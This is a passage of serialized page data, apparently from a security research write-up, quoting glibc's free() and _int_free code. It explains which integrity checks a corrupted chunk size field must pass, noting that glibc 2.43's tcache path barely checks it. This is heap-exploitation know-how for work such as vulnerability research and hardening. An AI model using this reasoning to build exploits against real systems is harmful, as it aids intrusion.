}\n}\n",[126000],{"type":24,"tag":32,"props":126001,"children":126002},{"__ignoreMap":7},[126003,126031,126038,126046,126054,126061,126083,126104,126111,126124,126131,126139,126146,126159,126166,126187,126208,126215],{"type":24,"tag":83,"props":126004,"children":126005},{"class":85,"line":86},[126006,126011,126015,126019,126023,126027],{"type":24,"tag":83,"props":126007,"children":126008},{"style":101},[126009],{"type":29,"value":126010},"__libc_free",{"type":24,"tag":83,"props":126012,"children":126013},{"style":107},[126014],{"type":29,"value":223},{"type":24,"tag":83,"props":126016,"children":126017},{"style":90},[126018],{"type":29,"value":51342},{"type":24,"tag":83,"props":126020,"children":126021},{"style":143},[126022],{"type":29,"value":9563},{"type":24,"tag":83,"props":126024,"children":126025},{"style":137},[126026],{"type":29,"value":40379},{"type":24,"tag":83,"props":126028,"children":126029},{"style":107},[126030],{"type":29,"value":2905},{"type":24,"tag":83,"props":126032,"children":126033},{"class":85,"line":113},[126034],{"type":24,"tag":83,"props":126035,"children":126036},{"style":107},[126037],{"type":29,"value":10628},{"type":24,"tag":83,"props":126039,"children":126040},{"class":85,"line":128},[126041],{"type":24,"tag":83,"props":126042,"children":126043},{"style":107},[126044],{"type":29,"value":126045},"  mstate ar_ptr;\n",{"type":24,"tag":83,"props":126047,"children":126048},{"class":85,"line":183},[126049],{"type":24,"tag":83,"props":126050,"children":126051},{"style":107},[126052],{"type":29,"value":126053},"  mchunkptr p;\n",{"type":24,"tag":83,"props":126055,"children":126056},{"class":85,"line":203},[126057],{"type":24,"tag":83,"props":126058,"children":126059},{"emptyLinePlaceholder":16},[126060],{"type":29,"value":3422},{"type":24,"tag":83,"props":126062,"children":126063},{"class":85,"line":212},[126064,126069,126073,126078],{"type":24,"tag":83,"props":126065,"children":126066},{"style":107},[126067],{"type":29,"value":126068},"  p ",{"type":24,"tag":83,"props":126070,"children":126071},{"style":143},[126072],{"type":29,"value":1275},{"type":24,"tag":83,"props":126074,"children":126075},{"style":101},[126076],{"type":29,"value":126077}," mem2chunk",{"type":24,"tag":83,"props":126079,"children":126080},{"style":107},[126081],{"type":29,"value":126082}," (mem);\n",{"type":24,"tag":83,"props":126084,"children":126085},{"class":85,"line":256},[126086,126090,126094,126099],{"type":24,"tag":83,"props":126087,"children":126088},{"style":117},[126089],{"type":29,"value":672},{"type":24,"tag":83,"props":126091,"children":126092},{"style":107},[126093],{"type":29,"value":223},{"type":24,"tag":83,"props":126095,"children":126096},{"style":101},[126097],{"type":29,"value":126098},"chunk_is_mmapped",{"type":24,"tag":83,"props":126100,"children":126101},{"style":107},[126102],{"type":29,"value":126103}," (p))\n",{"type":24,"tag":83,"props":126105,"children":126106},{"class":85,"line":270},[126107],{"type":24,"tag":83,"props":126108,"children":126109},{"style":107},[126110],{"type":29,"value":28938},{"type":24,"tag":83,"props":126112,"children":126113},{"class":85,"line":302},[126114,126119],{"type":24,"tag":83,"props":126115,"children":126116},{"style":101},[126117],{"type":29,"value":126118},"      munmap_chunk",{"type":24,"tag":83,"props":126120,"children":126121},{"style":107},[126122],{"type":29,"value":126123}," (p);\n",{"type":24,"tag":83,"props":126125,"children":126126},{"class":85,"line":324},[126127],{"type":24,"tag":83,"props":126128,"children":126129},{"style":107},[126130],{"type":29,"value":446},{"type":24,"tag":83,"props":126132,"children":126133},{"class":85,"line":345},[126134],{"type":24,"tag":83,"props":126135,"children":126136},{"style":117},[126137],{"type":29,"value":126138},"  else\n",{"type":24,"tag":83,"props":126140,"children":126141},{"class":85,"line":358},[126142],{"type":24,"tag":83,"props":126143,"children":126144},{"style":107},[126145],{"type":29,"value":28938},{"type":24,"tag":83,"props":126147,"children":126148},{"class":85,"line":367},[126149,126154],{"type":24,"tag":83,"props":126150,"children":126151},{"style":101},[126152],{"type":29,"value":126153},"      MAYBE_INIT_TCACHE",{"type":24,"tag":83,"props":126155,"children":126156},{"style":107},[126157],{"type":29,"value":126158}," ();\n",{"type":24,"tag":83,"props":126160,"children":126161},{"class":85,"line":406},[126162],{"type":24,"tag":83,"props":126163,"children":126164},{"emptyLinePlaceholder":16},[126165],{"type":29,"value":3422},{"type":24,"tag":83,"props":126167,"children":126168},{"class":85,"line":427},[126169,126174,126178,126183],{"type":24,"tag":83,"props":126170,"children":126171},{"style":107},[126172],{"type":29,"value":126173},"      ar_ptr ",{"type":24,"tag":83,"props":126175,"children":126176},{"style":143},[126177],{"type":29,"value":1275},{"type":24,"tag":83,"props":126179,"children":126180},{"style":101},[126181],{"type":29,"value":126182}," arena_for_chunk",{"type":24,"tag":83,"props":126184,"children":126185},{"style":107},[126186],{"type":29,"value":126123},{"type":24,"tag":83,"props":126188,"children":126189},{"class":85,"line":440},[126190,126195,126200,126204],{"type":24,"tag":83,"props":126191,"children":126192},{"style":101},[126193],{"type":29,"value":126194},"      _int_free",{"type":24,"tag":83,"props":126196,"children":126197},{"style":107},[126198],{"type":29,"value":126199}," (ar_ptr, p, ",{"type":24,"tag":83,"props":126201,"children":126202},{"style":245},[126203],{"type":29,"value":1166},{"type":24,"tag":83,"props":126205,"children":126206},{"style":107},[126207],{"type":29,"value":581},{"type":24,"tag":83,"props":126209,"children":126210},{"class":85,"line":449},[126211],{"type":24,"tag":83,"props":126212,"children":126213},{"style":107},[126214],{"type":29,"value":446},{"type":24,"tag":83,"props":126216,"children":126217},{"class":85,"line":458},[126218],{"type":24,"tag":83,"props":126219,"children":126220},{"style":107},[126221],{"type":29,"value":464},{"type":24,"tag":25,"props":126223,"children":126224},{},[126225,126227,126232,126234,126239,126241,126247,126249,126255,126257,126262,126264,126269,126271,126276,126278,126283],{"type":29,"value":126226},"We can see that if the ",{"type":24,"tag":32,"props":126228,"children":126230},{"className":126229},[],[126231],{"type":29,"value":125962},{"type":29,"value":126233}," bit is set in the corrupted ",{"type":24,"tag":32,"props":126235,"children":126237},{"className":126236},[],[126238],{"type":29,"value":123793},{"type":29,"value":126240}," field, glibc will call ",{"type":24,"tag":32,"props":126242,"children":126244},{"className":126243},[],[126245],{"type":29,"value":126246},"munmap_chunk",{"type":29,"value":126248},", which internally checks that ",{"type":24,"tag":32,"props":126250,"children":126252},{"className":126251},[],[126253],{"type":29,"value":126254},"prev_size + size",{"type":29,"value":126256}," is page-aligned. To reach the ",{"type":24,"tag":32,"props":126258,"children":126260},{"className":126259},[],[126261],{"type":29,"value":123793},{"type":29,"value":126263}," field, we first have to overwrite the entire 8-byte ",{"type":24,"tag":32,"props":126265,"children":126267},{"className":126266},[],[126268],{"type":29,"value":125912},{"type":29,"value":126270}," field with uncontrolled data. The chance that a corrupted ",{"type":24,"tag":32,"props":126272,"children":126274},{"className":126273},[],[126275],{"type":29,"value":126254},{"type":29,"value":126277}," value still ends up page-aligned is extremely small. In practice, if ",{"type":24,"tag":32,"props":126279,"children":126281},{"className":126280},[],[126282],{"type":29,"value":125962},{"type":29,"value":126284}," is set, the process will almost certainly abort before we can make use of the corruption.",{"type":24,"tag":25,"props":126286,"children":126287},{},[126288,126290,126295,126297,126303],{"type":29,"value":126289},"Assuming ",{"type":24,"tag":32,"props":126291,"children":126293},{"className":126292},[],[126294],{"type":29,"value":125962},{"type":29,"value":126296}," is not set, execution continues into ",{"type":24,"tag":32,"props":126298,"children":126300},{"className":126299},[],[126301],{"type":29,"value":126302},"_int_free",{"type":29,"value":195},{"type":24,"tag":73,"props":126305,"children":126307},{"code":126306,"language":2891,"meta":7,"className":16250,"style":7},"static void\n_int_free (mstate av, mchunkptr p, int have_lock)\n{\n  INTERNAL_SIZE_T size;\n\n  size = chunksize (p);\n\n  /* Little security check which won't hurt performance: the\n     allocator never wraps around at the end of the address space.\n     Therefore we can exclude some size values which might appear\n     here by accident or by \"design\" from some intruder.  */\n  if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)\n      || __builtin_expect (misaligned_chunk (p), 0))\n    malloc_printerr (\"free(): invalid pointer\");\n  /* We know that each chunk is at least MINSIZE bytes in size or a\n     multiple of MALLOC_ALIGNMENT.  */\n  if (__glibc_unlikely (size \u003C MINSIZE || !aligned_OK (size)))\n    malloc_printerr (\"free(): invalid size\");\n\n  check_inuse_chunk(av, p);\n\n  [...]\n",[126308],{"type":24,"tag":32,"props":126309,"children":126310},{"__ignoreMap":7},[126311,126323,126366,126373,126381,126388,126409,126416,126424,126432,126440,126448,126512,126547,126568,126576,126584,126632,126652,126659,126672,126679],{"type":24,"tag":83,"props":126312,"children":126313},{"class":85,"line":86},[126314,126318],{"type":24,"tag":83,"props":126315,"children":126316},{"style":90},[126317],{"type":29,"value":50759},{"type":24,"tag":83,"props":126319,"children":126320},{"style":90},[126321],{"type":29,"value":126322}," void\n",{"type":24,"tag":83,"props":126324,"children":126325},{"class":85,"line":113},[126326,126330,126335,126340,126345,126349,126353,126357,126362],{"type":24,"tag":83,"props":126327,"children":126328},{"style":101},[126329],{"type":29,"value":126302},{"type":24,"tag":83,"props":126331,"children":126332},{"style":107},[126333],{"type":29,"value":126334}," (mstate ",{"type":24,"tag":83,"props":126336,"children":126337},{"style":137},[126338],{"type":29,"value":126339},"av",{"type":24,"tag":83,"props":126341,"children":126342},{"style":107},[126343],{"type":29,"value":126344},", mchunkptr ",{"type":24,"tag":83,"props":126346,"children":126347},{"style":137},[126348],{"type":29,"value":25},{"type":24,"tag":83,"props":126350,"children":126351},{"style":107},[126352],{"type":29,"value":568},{"type":24,"tag":83,"props":126354,"children":126355},{"style":90},[126356],{"type":29,"value":18786},{"type":24,"tag":83,"props":126358,"children":126359},{"style":137},[126360],{"type":29,"value":126361}," have_lock",{"type":24,"tag":83,"props":126363,"children":126364},{"style":107},[126365],{"type":29,"value":2905},{"type":24,"tag":83,"props":126367,"children":126368},{"class":85,"line":128},[126369],{"type":24,"tag":83,"props":126370,"children":126371},{"style":107},[126372],{"type":29,"value":10628},{"type":24,"tag":83,"props":126374,"children":126375},{"class":85,"line":183},[126376],{"type":24,"tag":83,"props":126377,"children":126378},{"style":107},[126379],{"type":29,"value":126380},"  INTERNAL_SIZE_T size;\n",{"type":24,"tag":83,"props":126382,"children":126383},{"class":85,"line":203},[126384],{"type":24,"tag":83,"props":126385,"children":126386},{"emptyLinePlaceholder":16},[126387],{"type":29,"value":3422},{"type":24,"tag":83,"props":126389,"children":126390},{"class":85,"line":212},[126391,126396,126400,126405],{"type":24,"tag":83,"props":126392,"children":126393},{"style":107},[126394],{"type":29,"value":126395},"  size ",{"type":24,"tag":83,"props":126397,"children":126398},{"style":143},[126399],{"type":29,"value":1275},{"type":24,"tag":83,"props":126401,"children":126402},{"style":101},[126403],{"type":29,"value":126404}," chunksize",{"type":24,"tag":83,"props":126406,"children":126407},{"style":107},[126408],{"type":29,"value":126123},{"type":24,"tag":83,"props":126410,"children":126411},{"class":85,"line":256},[126412],{"type":24,"tag":83,"props":126413,"children":126414},{"emptyLinePlaceholder":16},[126415],{"type":29,"value":3422},{"type":24,"tag":83,"props":126417,"children":126418},{"class":85,"line":270},[126419],{"type":24,"tag":83,"props":126420,"children":126421},{"style":2735},[126422],{"type":29,"value":126423},"  /* Little security check which won't hurt performance: the\n",{"type":24,"tag":83,"props":126425,"children":126426},{"class":85,"line":302},[126427],{"type":24,"tag":83,"props":126428,"children":126429},{"style":2735},[126430],{"type":29,"value":126431},"     allocator never wraps around at the end of the address space.\n",{"type":24,"tag":83,"props":126433,"children":126434},{"class":85,"line":324},[126435],{"type":24,"tag":83,"props":126436,"children":126437},{"style":2735},[126438],{"type":29,"value":126439},"     Therefore we can exclude some size values which might appear\n",{"type":24,"tag":83,"props":126441,"children":126442},{"class":85,"line":345},[126443],{"type":24,"tag":83,"props":126444,"children":126445},{"style":2735},[126446],{"type":29,"value":126447},"     here by accident or by \"design\" from some intruder.  */\n",{"type":24,"tag":83,"props":126449,"children":126450},{"class":85,"line":358},[126451,126455,126459,126464,126469,126474,126479,126483,126487,126491,126495,126499,126504,126508],{"type":24,"tag":83,"props":126452,"children":126453},{"style":117},[126454],{"type":29,"value":672},{"type":24,"tag":83,"props":126456,"children":126457},{"style":107},[126458],{"type":29,"value":223},{"type":24,"tag":83,"props":126460,"children":126461},{"style":101},[126462],{"type":29,"value":126463},"__builtin_expect",{"type":24,"tag":83,"props":126465,"children":126466},{"style":107},[126467],{"type":29,"value":126468}," ((",{"type":24,"tag":83,"props":126470,"children":126471},{"style":90},[126472],{"type":29,"value":126473},"uintptr_t",{"type":24,"tag":83,"props":126475,"children":126476},{"style":107},[126477],{"type":29,"value":126478},") p ",{"type":24,"tag":83,"props":126480,"children":126481},{"style":143},[126482],{"type":29,"value":10209},{"type":24,"tag":83,"props":126484,"children":126485},{"style":107},[126486],{"type":29,"value":223},{"type":24,"tag":83,"props":126488,"children":126489},{"style":90},[126490],{"type":29,"value":126473},{"type":24,"tag":83,"props":126492,"children":126493},{"style":107},[126494],{"type":29,"value":633},{"type":24,"tag":83,"props":126496,"children":126497},{"style":143},[126498],{"type":29,"value":4072},{"type":24,"tag":83,"props":126500,"children":126501},{"style":107},[126502],{"type":29,"value":126503},"size, ",{"type":24,"tag":83,"props":126505,"children":126506},{"style":245},[126507],{"type":29,"value":1166},{"type":24,"tag":83,"props":126509,"children":126510},{"style":107},[126511],{"type":29,"value":2905},{"type":24,"tag":83,"props":126513,"children":126514},{"class":85,"line":367},[126515,126520,126525,126529,126534,126539,126543],{"type":24,"tag":83,"props":126516,"children":126517},{"style":143},[126518],{"type":29,"value":126519},"      ||",{"type":24,"tag":83,"props":126521,"children":126522},{"style":101},[126523],{"type":29,"value":126524}," __builtin_expect",{"type":24,"tag":83,"props":126526,"children":126527},{"style":107},[126528],{"type":29,"value":223},{"type":24,"tag":83,"props":126530,"children":126531},{"style":101},[126532],{"type":29,"value":126533},"misaligned_chunk",{"type":24,"tag":83,"props":126535,"children":126536},{"style":107},[126537],{"type":29,"value":126538}," (p), ",{"type":24,"tag":83,"props":126540,"children":126541},{"style":245},[126542],{"type":29,"value":1166},{"type":24,"tag":83,"props":126544,"children":126545},{"style":107},[126546],{"type":29,"value":19452},{"type":24,"tag":83,"props":126548,"children":126549},{"class":85,"line":406},[126550,126555,126559,126564],{"type":24,"tag":83,"props":126551,"children":126552},{"style":101},[126553],{"type":29,"value":126554},"    malloc_printerr",{"type":24,"tag":83,"props":126556,"children":126557},{"style":107},[126558],{"type":29,"value":223},{"type":24,"tag":83,"props":126560,"children":126561},{"style":187},[126562],{"type":29,"value":126563},"\"free(): invalid pointer\"",{"type":24,"tag":83,"props":126565,"children":126566},{"style":107},[126567],{"type":29,"value":581},{"type":24,"tag":83,"props":126569,"children":126570},{"class":85,"line":427},[126571],{"type":24,"tag":83,"props":126572,"children":126573},{"style":2735},[126574],{"type":29,"value":126575},"  /* We know that each chunk is at least MINSIZE bytes in size or a\n",{"type":24,"tag":83,"props":126577,"children":126578},{"class":85,"line":440},[126579],{"type":24,"tag":83,"props":126580,"children":126581},{"style":2735},[126582],{"type":29,"value":126583},"     multiple of MALLOC_ALIGNMENT.  */\n",{"type":24,"tag":83,"props":126585,"children":126586},{"class":85,"line":449},[126587,126591,126595,126600,126605,126609,126614,126618,126622,126627],{"type":24,"tag":83,"props":126588,"children":126589},{"style":117},[126590],{"type":29,"value":672},{"type":24,"tag":83,"props":126592,"children":126593},{"style":107},[126594],{"type":29,"value":223},{"type":24,"tag":83,"props":126596,"children":126597},{"style":101},[126598],{"type":29,"value":126599},"__glibc_unlikely",{"type":24,"tag":83,"props":126601,"children":126602},{"style":107},[126603],{"type":29,"value":126604}," (size ",{"type":24,"tag":83,"props":126606,"children":126607},{"style":143},[126608],{"type":29,"value":5552},{"type":24,"tag":83,"props":126610,"children":126611},{"style":107},[126612],{"type":29,"value":126613}," MINSIZE ",{"type":24,"tag":83,"props":126615,"children":126616},{"style":143},[126617],{"type":29,"value":638},{"type":24,"tag":83,"props":126619,"children":126620},{"style":143},[126621],{"type":29,"value":12609},{"type":24,"tag":83,"props":126623,"children":126624},{"style":101},[126625],{"type":29,"value":126626},"aligned_OK",{"type":24,"tag":83,"props":126628,"children":126629},{"style":107},[126630],{"type":29,"value":126631}," (size)))\n",{"type":24,"tag":83,"props":126633,"children":126634},{"class":85,"line":458},[126635,126639,126643,126648],{"type":24,"tag":83,"props":126636,"children":126637},{"style":101},[126638],{"type":29,"value":126554},{"type":24,"tag":83,"props":126640,"children":126641},{"style":107},[126642],{"type":29,"value":223},{"type":24,"tag":83,"props":126644,"children":126645},{"style":187},[126646],{"type":29,"value":126647},"\"free(): invalid size\"",{"type":24,"tag":83,"props":126649,"children":126650},{"style":107},[126651],{"type":29,"value":581},{"type":24,"tag":83,"props":126653,"children":126654},{"class":85,"line":1065},[126655],{"type":24,"tag":83,"props":126656,"children":126657},{"emptyLinePlaceholder":16},[126658],{"type":29,"value":3422},{"type":24,"tag":83,"props":126660,"children":126661},{"class":85,"line":1668},[126662,126667],{"type":24,"tag":83,"props":126663,"children":126664},{"style":101},[126665],{"type":29,"value":126666},"  check_inuse_chunk",{"type":24,"tag":83,"props":126668,"children":126669},{"style":107},[126670],{"type":29,"value":126671},"(av, p);\n",{"type":24,"tag":83,"props":126673,"children":126674},{"class":85,"line":1713},[126675],{"type":24,"tag":83,"props":126676,"children":126677},{"emptyLinePlaceholder":16},[126678],{"type":29,"value":3422},{"type":24,"tag":83,"props":126680,"children":126681},{"class":85,"line":1730},[126682],{"type":24,"tag":83,"props":126683,"children":126684},{"style":107},[126685],{"type":29,"value":126686},"  [...]\n",{"type":24,"tag":25,"props":126688,"children":126689},{},[126690],{"type":29,"value":126691},"The first check verifies that the chunk pointer itself is not misaligned. Since we do not control the pointer, this is not particularly relevant here.",{"type":24,"tag":25,"props":126693,"children":126694},{},[126695,126697,126702,126704,126709,126711,126716,126718,126723],{"type":29,"value":126696},"The next check, however, ensures that the ",{"type":24,"tag":32,"props":126698,"children":126700},{"className":126699},[],[126701],{"type":29,"value":123793},{"type":29,"value":126703}," field is 16-byte aligned. This means that the low byte we overwrite in ",{"type":24,"tag":32,"props":126705,"children":126707},{"className":126706},[],[126708],{"type":29,"value":123793},{"type":29,"value":126710}," must preserve alignment while also avoiding the ",{"type":24,"tag":32,"props":126712,"children":126714},{"className":126713},[],[126715],{"type":29,"value":125962},{"type":29,"value":126717}," bit. Under those constraints, exploiting the bug through ",{"type":24,"tag":32,"props":126719,"children":126721},{"className":126720},[],[126722],{"type":29,"value":123793},{"type":29,"value":126724}," corruption looked very unreliable at first.",{"type":24,"tag":25,"props":126726,"children":126727},{},[126728],{"type":29,"value":126729},"Still, we wanted to check how this behaved in the latest glibc 2.43:",{"type":24,"tag":73,"props":126731,"children":126733},{"code":126732,"language":2891,"meta":7,"className":16250,"style":7},"void\n__libc_free (void *mem)\n{\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n\n  INTERNAL_SIZE_T size = chunksize (p);\n\n  if (__glibc_unlikely (misaligned_chunk (p)))\n    return malloc_printerr_tail (\"free(): invalid pointer\");\n\n#if USE_TCACHE\n  if (__glibc_likely (size \u003C mp_.tcache_max_bytes))\n    {\n      [...]\n\n      return tcache_put (p, tc_idx);\n    }\n",[126734],{"type":24,"tag":32,"props":126735,"children":126736},{"__ignoreMap":7},[126737,126745,126772,126779,126786,126793,126812,126819,126839,126846,126874,126898,126905,126918,126960,126967,126975,126982,126999],{"type":24,"tag":83,"props":126738,"children":126739},{"class":85,"line":86},[126740],{"type":24,"tag":83,"props":126741,"children":126742},{"style":90},[126743],{"type":29,"value":126744},"void\n",{"type":24,"tag":83,"props":126746,"children":126747},{"class":85,"line":113},[126748,126752,126756,126760,126764,126768],{"type":24,"tag":83,"props":126749,"children":126750},{"style":101},[126751],{"type":29,"value":126010},{"type":24,"tag":83,"props":126753,"children":126754},{"style":107},[126755],{"type":29,"value":223},{"type":24,"tag":83,"props":126757,"children":126758},{"style":90},[126759],{"type":29,"value":51342},{"type":24,"tag":83,"props":126761,"children":126762},{"style":143},[126763],{"type":29,"value":9563},{"type":24,"tag":83,"props":126765,"children":126766},{"style":137},[126767],{"type":29,"value":40379},{"type":24,"tag":83,"props":126769,"children":126770},{"style":107},[126771],{"type":29,"value":2905},{"type":24,"tag":83,"props":126773,"children":126774},{"class":85,"line":128},[126775],{"type":24,"tag":83,"props":126776,"children":126777},{"style":107},[126778],{"type":29,"value":10628},{"type":24,"tag":83,"props":126780,"children":126781},{"class":85,"line":183},[126782],{"type":24,"tag":83,"props":126783,"children":126784},{"style":107},[126785],{"type":29,"value":126053},{"type":24,"tag":83,"props":126787,"children":126788},{"class":85,"line":203},[126789],{"type":24,"tag":83,"props":126790,"children":126791},{"emptyLinePlaceholder":16},[126792],{"type":29,"value":3422},{"type":24,"tag":83,"props":126794,"children":126795},{"class":85,"line":212},[126796,126800,126804,126808],{"type":24,"tag":83,"props":126797,"children":126798},{"style":107},[126799],{"type":29,"value":126068},{"type":24,"tag":83,"props":126801,"children":126802},{"style":143},[126803],{"type":29,"value":1275},{"type":24,"tag":83,"props":126805,"children":126806},{"style":101},[126807],{"type":29,"value":126077},{"type":24,"tag":83,"props":126809,"children":126810},{"style":107},[126811],{"type":29,"value":126082},{"type":24,"tag":83,"props":126813,"children":126814},{"class":85,"line":256},[126815],{"type":24,"tag":83,"props":126816,"children":126817},{"emptyLinePlaceholder":16},[126818],{"type":29,"value":3422},{"type":24,"tag":83,"props":126820,"children":126821},{"class":85,"line":270},[126822,126827,126831,126835],{"type":24,"tag":83,"props":126823,"children":126824},{"style":107},[126825],{"type":29,"value":126826},"  INTERNAL_SIZE_T size ",{"type":24,"tag":83,"props":126828,"children":126829},{"style":143},[126830],{"type":29,"value":1275},{"type":24,"tag":83,"props":126832,"children":126833},{"style":101},[126834],{"type":29,"value":126404},{"type":24,"tag":83,"props":126836,"children":126837},{"style":107},[126838],{"type":29,"value":126123},{"type":24,"tag":83,"props":126840,"children":126841},{"class":85,"line":302},[126842],{"type":24,"tag":83,"props":126843,"children":126844},{"emptyLinePlaceholder":16},[126845],{"type":29,"value":3422},{"type":24,"tag":83,"props":126847,"children":126848},{"class":85,"line":324},[126849,126853,126857,126861,126865,126869],{"type":24,"tag":83,"props":126850,"children":126851},{"style":117},[126852],{"type":29,"value":672},{"type":24,"tag":83,"props":126854,"children":126855},{"style":107},[126856],{"type":29,"value":223},{"type":24,"tag":83,"props":126858,"children":126859},{"style":101},[126860],{"type":29,"value":126599},{"type":24,"tag":83,"props":126862,"children":126863},{"style":107},[126864],{"type":29,"value":223},{"type":24,"tag":83,"props":126866,"children":126867},{"style":101},[126868],{"type":29,"value":126533},{"type":24,"tag":83,"props":126870,"children":126871},{"style":107},[126872],{"type":29,"value":126873}," (p)))\n",{"type":24,"tag":83,"props":126875,"children":126876},{"class":85,"line":345},[126877,126881,126886,126890,126894],{"type":24,"tag":83,"props":126878,"children":126879},{"style":117},[126880],{"type":29,"value":16725},{"type":24,"tag":83,"props":126882,"children":126883},{"style":101},[126884],{"type":29,"value":126885}," malloc_printerr_tail",{"type":24,"tag":83,"props":126887,"children":126888},{"style":107},[126889],{"type":29,"value":223},{"type":24,"tag":83,"props":126891,"children":126892},{"style":187},[126893],{"type":29,"value":126563},{"type":24,"tag":83,"props":126895,"children":126896},{"style":107},[126897],{"type":29,"value":581},{"type":24,"tag":83,"props":126899,"children":126900},{"class":85,"line":358},[126901],{"type":24,"tag":83,"props":126902,"children":126903},{"emptyLinePlaceholder":16},[126904],{"type":29,"value":3422},{"type":24,"tag":83,"props":126906,"children":126907},{"class":85,"line":367},[126908,126913],{"type":24,"tag":83,"props":126909,"children":126910},{"style":117},[126911],{"type":29,"value":126912},"#if",{"type":24,"tag":83,"props":126914,"children":126915},{"style":101},[126916],{"type":29,"value":126917}," USE_TCACHE\n",{"type":24,"tag":83,"props":126919,"children":126920},{"class":85,"line":406},[126921,126925,126929,126934,126938,126942,126947,126951,126956],{"type":24,"tag":83,"props":126922,"children":126923},{"style":117},[126924],{"type":29,"value":672},{"type":24,"tag":83,"props":126926,"children":126927},{"style":107},[126928],{"type":29,"value":223},{"type":24,"tag":83,"props":126930,"children":126931},{"style":101},[126932],{"type":29,"value":126933},"__glibc_likely",{"type":24,"tag":83,"props":126935,"children":126936},{"style":107},[126937],{"type":29,"value":126604},{"type":24,"tag":83,"props":126939,"children":126940},{"style":143},[126941],{"type":29,"value":5552},{"type":24,"tag":83,"props":126943,"children":126944},{"style":137},[126945],{"type":29,"value":126946}," mp_",{"type":24,"tag":83,"props":126948,"children":126949},{"style":107},[126950],{"type":29,"value":161},{"type":24,"tag":83,"props":126952,"children":126953},{"style":137},[126954],{"type":29,"value":126955},"tcache_max_bytes",{"type":24,"tag":83,"props":126957,"children":126958},{"style":107},[126959],{"type":29,"value":19452},{"type":24,"tag":83,"props":126961,"children":126962},{"class":85,"line":427},[126963],{"type":24,"tag":83,"props":126964,"children":126965},{"style":107},[126966],{"type":29,"value":28938},{"type":24,"tag":83,"props":126968,"children":126969},{"class":85,"line":440},[126970],{"type":24,"tag":83,"props":126971,"children":126972},{"style":107},[126973],{"type":29,"value":126974},"      [...]\n",{"type":24,"tag":83,"props":126976,"children":126977},{"class":85,"line":449},[126978],{"type":24,"tag":83,"props":126979,"children":126980},{"emptyLinePlaceholder":16},[126981],{"type":29,"value":3422},{"type":24,"tag":83,"props":126983,"children":126984},{"class":85,"line":458},[126985,126989,126994],{"type":24,"tag":83,"props":126986,"children":126987},{"style":117},[126988],{"type":29,"value":39072},{"type":24,"tag":83,"props":126990,"children":126991},{"style":101},[126992],{"type":29,"value":126993}," tcache_put",{"type":24,"tag":83,"props":126995,"children":126996},{"style":107},[126997],{"type":29,"value":126998}," (p, tc_idx);\n",{"type":24,"tag":83,"props":127000,"children":127001},{"class":85,"line":1065},[127002],{"type":24,"tag":83,"props":127003,"children":127004},{"style":107},[127005],{"type":29,"value":446},{"type":24,"tag":25,"props":127007,"children":127008},{},[127009,127011,127016],{"type":29,"value":127010},"It is easy to notice that, when taking the tcache path, there are essentially no integrity checks on the ",{"type":24,"tag":32,"props":127012,"children":127014},{"className":127013},[],[127015],{"type":29,"value":123793},{"type":29,"value":127017}," field beyond the basic size-range decision needed to determine whether the chunk fits into tcache. The only explicit check here is that the pointer itself is aligned, which is not something we care about.",{"type":24,"tag":25,"props":127019,"children":127020},{},[127021,127023,127029,127030,127035],{"type":29,"value":127022},"In fact, even the version prior to 2.43 still performed more validation on the tcache path by calling ",{"type":24,"tag":32,"props":127024,"children":127026},{"className":127025},[],[127027],{"type":29,"value":127028},"check_inuse_chunk",{"type":29,"value":223},{"type":24,"tag":32,"props":127031,"children":127033},{"className":127032},[],[127034],{"type":29,"value":123921},{"type":29,"value":23696},{"type":24,"tag":73,"props":127037,"children":127039},{"code":127038,"language":2891,"meta":7,"className":16250,"style":7},"void\n__libc_free (void *mem)\n{\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n\n  INTERNAL_SIZE_T size = chunksize (p);\n\n  if (__glibc_unlikely (misaligned_chunk (p)))\n    return malloc_printerr_tail (\"free(): invalid pointer\");\n\n  check_inuse_chunk (arena_for_chunk (p), p);             // [1]\n\n#if USE_TCACHE\n  if (__glibc_likely (size \u003C mp_.tcache_max_bytes && tcache != NULL))\n  [...]\n",[127040],{"type":24,"tag":32,"props":127041,"children":127042},{"__ignoreMap":7},[127043,127050,127077,127084,127091,127098,127117,127124,127143,127150,127177,127200,127207,127233,127240,127251,127308],{"type":24,"tag":83,"props":127044,"children":127045},{"class":85,"line":86},[127046],{"type":24,"tag":83,"props":127047,"children":127048},{"style":90},[127049],{"type":29,"value":126744},{"type":24,"tag":83,"props":127051,"children":127052},{"class":85,"line":113},[127053,127057,127061,127065,127069,127073],{"type":24,"tag":83,"props":127054,"children":127055},{"style":101},[127056],{"type":29,"value":126010},{"type":24,"tag":83,"props":127058,"children":127059},{"style":107},[127060],{"type":29,"value":223},{"type":24,"tag":83,"props":127062,"children":127063},{"style":90},[127064],{"type":29,"value":51342},{"type":24,"tag":83,"props":127066,"children":127067},{"style":143},[127068],{"type":29,"value":9563},{"type":24,"tag":83,"props":127070,"children":127071},{"style":137},[127072],{"type":29,"value":40379},{"type":24,"tag":83,"props":127074,"children":127075},{"style":107},[127076],{"type":29,"value":2905},{"type":24,"tag":83,"props":127078,"children":127079},{"class":85,"line":128},[127080],{"type":24,"tag":83,"props":127081,"children":127082},{"style":107},[127083],{"type":29,"value":10628},{"type":24,"tag":83,"props":127085,"children":127086},{"class":85,"line":183},[127087],{"type":24,"tag":83,"props":127088,"children":127089},{"style":107},[127090],{"type":29,"value":126053},{"type":24,"tag":83,"props":127092,"children":127093},{"class":85,"line":203},[127094],{"type":24,"tag":83,"props":127095,"children":127096},{"emptyLinePlaceholder":16},[127097],{"type":29,"value":3422},{"type":24,"tag":83,"props":127099,"children":127100},{"class":85,"line":212},[127101,127105,127109,127113],{"type":24,"tag":83,"props":127102,"children":127103},{"style":107},[127104],{"type":29,"value":126068},{"type":24,"tag":83,"props":127106,"children":127107},{"style":143},[127108],{"type":29,"value":1275},{"type":24,"tag":83,"props":127110,"children":127111},{"style":101},[127112],{"type":29,"value":126077},{"type":24,"tag":83,"props":127114,"children":127115},{"style":107},[127116],{"type":29,"value":126082},{"type":24,"tag":83,"props":127118,"children":127119},{"class":85,"line":256},[127120],{"type":24,"tag":83,"props":127121,"children":127122},{"emptyLinePlaceholder":16},[127123],{"type":29,"value":3422},{"type":24,"tag":83,"props":127125,"children":127126},{"class":85,"line":270},[127127,127131,127135,127139],{"type":24,"tag":83,"props":127128,"children":127129},{"style":107},[127130],{"type":29,"value":126826},{"type":24,"tag":83,"props":127132,"children":127133},{"style":143},[127134],{"type":29,"value":1275},{"type":24,"tag":83,"props":127136,"children":127137},{"style":101},[127138],{"type":29,"value":126404},{"